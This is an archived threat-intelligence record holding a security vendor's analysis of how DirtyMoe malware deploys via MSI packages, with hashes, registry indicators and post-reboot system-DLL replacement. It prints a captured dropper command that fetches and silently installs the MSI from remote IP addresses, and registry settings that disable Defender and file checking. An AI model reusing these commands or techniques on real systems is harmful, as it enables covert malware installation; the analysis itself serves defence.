{
	"id": "7b6c228a-1c21-4ab3-80e6-31341e94d812",
	"created_at": "2026-04-06T00:16:00.588501Z",
	"updated_at": "2026-04-10T03:21:37.29278Z",
	"deleted_at": null,
	"sha1_hash": "6add06b088b6c2d3cd1570c9cf8ee509c1b4b3ee",
	"title": "DirtyMoe: Deployment",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 545281,
	"plain_text": "DirtyMoe: Deployment\r\nBy Threat Research TeamThreat Research Team\r\nArchived: 2026-04-05 18:23:37 UTC\r\nAbstract\r\nIn the first article, we have described a complex malware, called DirtyMoe, from a high-level point of view. Most\r\nof the captured samples were MSI Installer packages which were delivered onto a victim’s machine by the\r\nPurpleFox exploit kit. So in the fourth part of the DirtyMoe series, we will focus on DirtyMoe’s deployment and\r\nhow DirtyMoe tackles various issues with different versions of Windows.\r\nTo understand what the MSI package executes on the victim’s machine, we have analyzed the MSI package in\r\nterms of registry and file manipulations, installer’s arguments, and post-reboot operations. We have also tried to\r\nput these actions into the context to determine the purpose of its individual actions in DirtyMoe’s deployment.\r\nThe DirtyMoe’s MSI installer abuses the Windows System Event Notification Service (SENS) to deploy\r\nDirtyMoe. The main goal of the MSI installer is to replace the system DLL file of SENS with a malicious payload\r\nand execute the payload as a legitimate service. Another essential point is configuring the anti-detection methods\r\nto keep DirtyMoe under the radar.\r\nThe DirtyMoe malware requires different locations of installed files and registry entries for each Windows version\r\nthat the malware targets. Since the MSI Installer provides a convenient way to install arbitrary software across\r\nversions of Windows, its usage seems like a logical choice.\r\n1. Scope\r\nWe have recorded two versions of MSI installer packages distributing DirtyMoe. Both versions perform very\r\nsimilar actions for the successful DirtyMoe deployment. The main difference is the delivery of malicious files via\r\na CAB file. The older version of the MSI package includes the CAB file directly in the package, while the newer\r\nversion requires the CAB file in the same location as the package itself.\r\nThe effect of the separate CAB file easily allows managing payloads that need to be deployed. Further, it reduces\r\nthe size of the primary exploit payload because the CAB file can be downloaded after successful exploitations.\r\n1.1 All in One Package (older version)\r\nThe example of the all in one package is a sample with SHA-256:\r\n5ef702036c5c3aa2d0b6d8650e20b2c5f55776c69eebf8c700f1770b56a35c35\r\nThe package details follow:\r\nProduct Name: FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH\r\nProduct Version: 2.0.0.0\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 1 of 9\n\nProduct Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}\r\nInstall Condition:\r\nis Windows NT (cannot be installed on Windows 9x/ME)\r\nis not Windows XP SP2 x64 or Windows Server 2003 SP2 x64\r\nis not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86\r\nis not Windows NT 4.0\r\nis not Windows 2000\r\nnot exist SOFTWARE\\SoundResearch\\UpdaterLastTimeChecked3 with value 3\r\nFile Size: 2.36 MB\r\n1.2 Excluded Data Package (newer version)\r\nThe newer version of the MSI package consists of two parts. The first part is the MSI package itself and the\r\nseparate CAB file containing the malicious payloads. The MSI package refers to one of the following CAB files:\r\nM0011.cab, M0021.cab , M0031.cab , , M0041.cab , M0051.cab , M0061.cab , M0071.cab . The CAB file\r\ncontains three malicious files, but only one file (sysupdate.log) is different for each CAB file. Detailed\r\ninformation about the file manipulation is described in Section 3.\r\nThe example of the newer MSI package is a sample with SHA-256:\r\n1233cc0b8f77213a229e64c6aa0e08bd18e075879734a18512b1990b6408764f\r\nThe package details follow:\r\nProduct Name: CTH3VNU8KZHDXY6YYCF9YV8OXGPW3P2APZPL\r\nProduct Version: 2.0.0.0\r\nProduct Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}\r\nInstall Condition:\r\nis Windows NT (cannot be installed on Windows 9x/ME)\r\nis not Windows XP SP2 x64 or Windows Server 2003 SP2 x64\r\nis not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86\r\nis not Windows NT 4.0\r\nis not Windows 2000\r\nnot exist HKLM\\SOFTWARE\\Microsoft\\DirectPlay8\\Direct3D\r\nnot exist HKCU\\SOFTWARE\\7-Zip\\StayOnTop\r\nFile Size: 1.020 MB\r\nNote: The product name is usually different for each .msi file. It is a random string composed of capital letters of\r\nlength 36. The product code has so far been observed with the same value.\r\n2. Registry Manipulation\r\nThe malware authors prepare a victim environment to a proper state via the MSI installer. They focus on disabling\r\nanti-spyware and file protection features. Additionally, the MSI package uses one system configuration to bypass\r\nWindows File Protection (WFP) to overwrite protected files despite the fact that WFP should prevent replacing\r\ncritical Windows system files [1].\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 2 of 9\n\nThere are several registry manipulations during MSI installation, though we will describe only the most crucial\r\nregistry entries.\r\n2.1 Mutex\r\nUpdaterLastTimeChecked\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\SoundResearch\\UpdaterLastTimeChecked[1-3]\r\nOne of the malware registry entries is UpdaterLastTimeChecked[x] , where x signifies how many times the MSI\r\ninstaller has been run. Each MSI installation of the package creates one entry. If UpdaterLastTimeChecked3 is\r\npresent, the following package installation is not allowed. It is applicable only for the older version of the MSI\r\npackage.\r\nStayOnTop\r\nHKEY_CURRENT_USER\\SOFTWARE\\7-Zip\\StayOnTop = 1\r\nThis registry manipulation is related only to the newer version. 7-Zip software does not support the stay on top\r\nfeature. Therefore, it can be assumed that this registry entry serves as a flag that the installer package has been\r\nsuccessfully run. SentinelLabs has published evidence that the presentence of this value indicates that a victim\r\ncomputer has been compromised by PurpleFox [2].\r\nDirect3D\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\DirectPlay8\\Direct3D\r\nAn active instance of the DirtyMoe malware stores settings and meta-data in this registry entry in an encrypted\r\nform. Therefore, if this entry is present in the system registry, the MSI installation is aborted.\r\n2.2 Anti-Detection\r\nDisableAntiSpyware\r\nHKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware = 1\r\nMicrosoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1. So, if the system\r\nhas no 3rd party antivirus product, the system is without protection against malicious software, including spyware\r\n[3].\r\nSFCDisable\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SFCDisable = 4\r\nWindows File Protection (WFP) prevents non-system applications from replacing critical Windows system files\r\nthat can cause problems with the operating system integrity and stability. WFP is typically enabled by default in\r\nall versions of Windows [4].\r\nNaturally, DirtyMoe wants to avoid a situation where WFP detects any manipulation with the system files.\r\nTherefore, the SFCDisable value is set to four, enabling WFP, but every WFP action is not pop-upped by GUI.\r\nThe effect is that WFP is enabled, so no system alerts are invoked, but WFP warning is hidden for users. This is\r\napplicable only for Windows XP.\r\nSFCScan\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SFCScan = 0\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 3 of 9\n\nThe System File Checker (SFC) provides the ability to scan system-protected files. SFC verifies file versions, and\r\nif it detects any file manipulation, SFC updates files to the correct version. This registry manipulation contributes\r\nto disabling SFC protecting the abused Windows service. This setup affects only file scanning, but WFP can still\r\nbe active.\r\nSvcHostSplitThresholdInKB\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SvcHostSplitThresholdInKB = 0xFFFFFFFF\r\nThe crucial registry manipulation controls the system startup and some aspects of device configuration. To\r\nunderstand the primary purpose of the SvcHostSplitThresholdInKB registry entry, we must describe the\r\nhistorical development of Windows services and a generic host process.\r\nIn most cases, Windows services are run from dynamic-link libraries that Windows executes via the generic host\r\nprocess (svchost.exe). The hosted process can load more services (DLLs) as threads within one process. This is a\r\nhistorical relict from the times of Windows XP where system memory used to be a scarce commodity. The system\r\nused a few service host processes that hosted all Windows services, represented by DLL files, as the process\r\ncreation and maintenance were expensive in terms of the system memory.\r\nFigure 1 illustrates the example of run services and detailed information about the biggest host service process.\r\nWindows XP created 5 host processes grouped according to their purposes, such as LocalService, NetworkService,\r\nand System. PID 1016 is the biggest process in point of the memory usage view since this process hosts approx. 20\r\nservices. This approach saved the memory but made the system more unstable because if one of the services\r\ncrashed, the entire service chain hosted by the same process was killed.\r\nFigure 1. Service chain in Windows XP\r\nNowadays, there is no reason to group services within a few processes, and the resulting positive effects are\r\nincreased system stability and security, as well as easier error analysis. Services now usually no longer share\r\nprocesses; mini-programs for providing system functions have an exclusive memory location. And if the\r\nsvchost.exe process crashes, it no longer drags the entire service chain with it [5].\r\nWindows 10 has come with a threshold value ( SvcHostSplitThresholdInKB ), determining when services shall be\r\ncreated as a regular process. The default value is 380,000, so the grouping service model is used if the system has\r\nless than 3.5 GB of memory. In other words, the increasing threshold value can reduce the amount of the host\r\nprocesses, and therefore it determines if the service processes are split.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 4 of 9\n\nLet’s give an example for Windows 10, if the value is set to 1, the number of host processes is approx. 70. And the\r\nthreshold value equal to maximum ( 0xFFFFFFFF ) causes that number of host processes to be only 26.\r\nIt is now understood that the maximum value of SvcHostSplitThresholdInKB can hide details about run\r\nprocesses. Therefore, the malware author set the threshold value to the maximum to hide the malicious service\r\nactivity in threads. As a consequence, the malicious service is run within one host process in one of its threads.\r\nAccordingly, tracking and forensic analysis are made more difficult since the svchost process hosts many other\r\nservices, and it is hard to assign system activities to the malware service.\r\n2.3 Payload Delivery\r\nSMBDeviceEnabled\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\SMBDeviceEnabled = 0\r\nIn order to prevent deployment of other malware via EternalBlue exploit [6], the MSI installer disables SMB\r\nsharing, effectively closing port 445 on Windows XP.\r\nAllowProtectedRenames and PendingFileRenameOperations\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AllowProtectedRenames\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\PendingFileRenameOperations\r\nThese registry entries are also related to WFP and therefore are crucial for the malicious code’s deployment to the\r\nvictim machine. The principle is the same as in the MoveFileEx function with\r\nMOVEFILE_DELAY_UNTIL_REBOOT flag [7]. In other words, the MSI installer defines which file will be\r\nmoved or deleted after reboot via the Session Manager Subsystem (SMSS) [8].\r\nThe malware authors abuse two system files, sens.dll for Windows Vista and newer, and cscdll.dll for\r\nWindows XP, see Section 3. Consequently, the SMSS replaces the critical system file with the malicious ones after\r\nthe system reboot.\r\nAn example of the PendingFileRenameOperations value for Windows 7 32bit is as follows:\r\n\\??\\C:\\Windows\\AppPatch\\Acpsens.dll\r\n\\??\\C:\\Windows\\system32\\sens.dll\r\n\\??\\C:\\Windows\\AppPatch\\Acpsens.dll\r\n\\??\\C:\\Windows\\system32\\sens.dll\r\n\\??\\C:\\Windows\\winupdate32.log\r\n\\??\\C:\\Windows\\system32\\sens.dll\r\n\\??\\C:\\Windows\\AppPatch\\Ke583427.xsl\r\n\\??\\C:\\Windows\\sysupdate.log\r\n\\??\\C:\\Windows\\AppPatch\\Ke583427.xsl\r\n3. File Manipulation\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 5 of 9\n\nDirtyMoe misuses the system services, precisely service DLL files, that are protected and which handlers are\r\nopen, so replacing these files is not possible without the system reboot. Therefore, the first phase of the file\r\nmanipulation is to extract payloads from the CAB file, and the second phase replaces the service DLL files with\r\nthe extracted CAB files.\r\n3.1 File Extraction\r\nThe CAB file usually contains three payload files.\r\nwinupdate32.log and winupdate64.log are malicious DLLs representing the DirtyMoe service.\r\nsysupdate.log is an encrypted executable file that contains the default DirtyMoe module injected by the\r\nDirtyMoe service.\r\nThe MSI installer extracts and copies payloads from the CAB file into defined destinations if an appropriate\r\ncondition is met, as the following table summarizes.\r\nIf the required files are extracted into the proper destination, the MSI installer ends and waits silently for the\r\nsystem to reboot. The next actions are performed by the SMSS.\r\n3.2 File Replacement\r\nThe Session Manager Subsystem (SMSS) ensures replacing abused system files that are system-protected with the\r\nmalicious ones based on PendingFileRenameOperations registry entry; see Section 2.3. In fact, the MSI installer\r\ninvokes a post-reboot file manipulation based on a Windows version as follows:\r\nWindows XP\r\nDelete (if exist) %windir%\\\\AppPatch\\\\Acpcscdll.dll\r\nMove %windir%\\\\system32\\\\cscdll.dll to %windir%\\\\AppPatch\\\\Acpcscdll.dll\r\nMove %windir%\\\\winupdate32.log to %windir%\\\\system32\\\\cscdll.dll\r\nDelete (if exist) %windir%\\\\AppPatch\\\\Ke583427.xsl\r\nMove %windir%\\\\sysupdate.log to %windir%\\\\AppPatch\\\\Ke583427.xsl\r\nWindows Vista and newer\r\nDelete (if exist) %windir%\\\\AppPatch\\\\Acpsens.dll\r\nMove %windir%\\\\system32\\\\sens.dll to %windir%\\\\AppPatch\\\\Acpsens.dll\r\nMove %windir%\\\\winupdate64.log to %windir%\\\\system32\\\\sens.dll\r\nDelete (if exist) %windir%\\\\AppPatch\\\\Ke583427.xsl\r\nMove %windir%\\\\sysupdate.log to %windir%\\\\AppPatch\\\\Ke583427.xsl\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 6 of 9\n\nThe difference between Windows XP and Windows Vista and newer is an exploit of a hosting service. Windows\r\nXP uses Offline Network Agent ( cscdll.dll ) loaded by winlogon.exe under NT AUTHORITY\\SYSTEM\r\nprivileges. Windows Vista and newer provide System Event Notification Service ( sens.dll ) also run under\r\nSYSTEM. The Ke583427.xsl file is a default DirtyMoe module that is encrypted.\r\nIn short, the post-reboot operation slips DirtyMoe DLL into the system folder under the service name that is\r\nregistered legitimately in the system. Replacement of such system files is possible because it is completed by\r\nSMSS, which is the first user-mode process started by the kernel. For that reason no handlers are created to the\r\nsystem DLL, and WFP is not also run yet. Finally, the malware represented by the slipped malicious DLL is\r\nstarted with system-level privileges since the abused service is registered as the legitimate service in Windows.\r\n4. Deployment Workflow\r\nIf the PurpleFox successfully exploits a victim’s machine, the MSI installer package is run with administrator\r\nprivileges. The MSI installer provides several options on how to install software silently, and therefore no user\r\ninteraction is required. Although the system restart is necessary to apply all changes, the MSI installer also\r\nsupports delayed restart; therefore, the user does not detect any suspicious symptoms. The installer only waits for\r\nthe next system restart.\r\nAn example of how to run installation silently via MSI installer:\r\nmsiexec.exe /i \u003cdirtymoe.msi\u003e /qn /norestart ; where /qn sets UI level to no UI.\r\nWe have captured a specific example of how the MSI installer is run after the successful system exploit.\r\nCmd /c for /d %i in (60.164.191.22:19400 185.51.201.102:19836 203.128.6.130:12315 58.220.24.47:13384\r\n155.138.159.232:17445) do Msiexec /i http:\\%i\\0BC8EC41.moe \\Q\r\nThis dropper iterates five IP addresses that are different for each minute, including ports; see Section 2 of the first\r\npart of DirtyMoe series. The MSI installer is run for each IP address with parameter \\Q , so if the requested\r\nremote location is not available or the MSI file does not exist, the installer does not inform the user about the\r\nerror. The deployment process then runs silently in the background.\r\nThe MSI installer sets the system registry defined in Section 2 and copies malicious files to the Windows folder,\r\nsee Section 3. The subsequent system restart will arrange the code execution of the malicious DLL containing\r\nServiceMain, which Windows starts as the SENS service. Given the complexity of the malicious service, we will\r\nreturn to its detailed description in the following blog post.\r\nUsually, the MSI installer caches installation files in C:\\Windows\\Installer for future use, such as updating,\r\nreinstalling, etc. However, DirtyMoe does not keep the .msi backup file. The installer just creates a hash file about\r\nthe malware installation. The filename has the form SourceHash{\u003cProduct Code\u003e}. The file contains the name of\r\nthe MSI source package. The most prevalent GUID is equal to: {80395032-1630-4C4B-A997-0A7CCB72C75B}\r\nThe MSI Installer Rollback Script cannot remove the malware since deployed files are moved by the SMSS and\r\nare out of the MSI Installer scope.\r\nThe whole deployment workflow is illustrated in Figure 2.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 7 of 9\n\nFigure 2. DirtyMoe deployment workflow\r\n5. Conclusion\r\nWe have introduced the deployment process of the DirtyMoe malware via the MSI Installer that presents an easy\r\nway of supporting multiple configurations for various Windows versions. The MSI installer prepares all necessary\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 8 of 9\n\nfiles and configuration for successful deployment of the malware and also cleans up backup and cache files.\r\nHowever, there are a few symptoms that can reveal the DirtyMoe installations.\r\nAfter the system reboot, Session Manager overwrites the files representing one of the system services by the\r\nmalicious DLL file. The system then runs an appropriate service and thereby loads the malicious code, including\r\nthe default DirtyMoe’s object, as the legitimate service.\r\nAll these steps deploy and run DirtyMoe on the victim’s machine. In point of the cyber kill chain, detailed\r\ninformation about DirtyMoe service and further installation actions will be introduced in the future article.\r\nA group of elite researchers who like to stay under the radar.\r\nSources\r\nSource: https://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-4/\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://decoded.avast.io/martinchlumecky/dirtymoe-4/"
	],
	"report_names": [
		"dirtymoe-4"
	],
	"threat_actors": [],
	"ts_created_at": 1775434560,
	"ts_updated_at": 1775791297,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6add06b088b6c2d3cd1570c9cf8ee509c1b4b3ee.pdf",
		"text": "https://archive.orkl.eu/6add06b088b6c2d3cd1570c9cf8ee509c1b4b3ee.txt",
		"img": "https://archive.orkl.eu/6add06b088b6c2d3cd1570c9cf8ee509c1b4b3ee.jpg"
	}
}